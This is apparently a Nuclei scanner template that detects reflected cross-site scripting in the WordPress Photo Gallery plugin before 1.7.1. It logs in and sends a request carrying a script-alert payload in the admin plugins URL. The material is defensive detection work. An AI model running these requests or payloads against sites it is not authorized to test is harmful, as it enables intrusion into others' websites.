52 lines
1.6 KiB
YAML
52 lines
1.6 KiB
YAML
id: photo-gallery-xss
|
|
|
|
info:
|
|
name: Photo Gallery < 1.7.1 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting.
|
|
remediation: This is resolved in release 1.7.1.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/e9f9bfb0-7cb8-4f92-b436-f08442a6c60a
|
|
- https://wordpress.org/plugins/photo-gallery/advanced/
|
|
classification:
|
|
cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:wordpress:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: 10web
|
|
product: photo_gallery
|
|
publicwww-query: "/wp-content/plugins/photo-gallery"
|
|
tags: wpscan,wp,wp-plugin,wordpress,xss,photo-gallery,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/plugins.php?%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '><script>alert(/XSS/)</script>'
|
|
- 'Installed Plugins'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header_2
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100876836a58f422efba320c94a67fce3d1981b084d72bb7ba7a877f02d8b01615b022100ecfde13ae93cba0fe698e70fb0e27b19d5a5be7a97d20915e1f55e87101dceb7:922c64590222798bb761d5b6d8e72950 |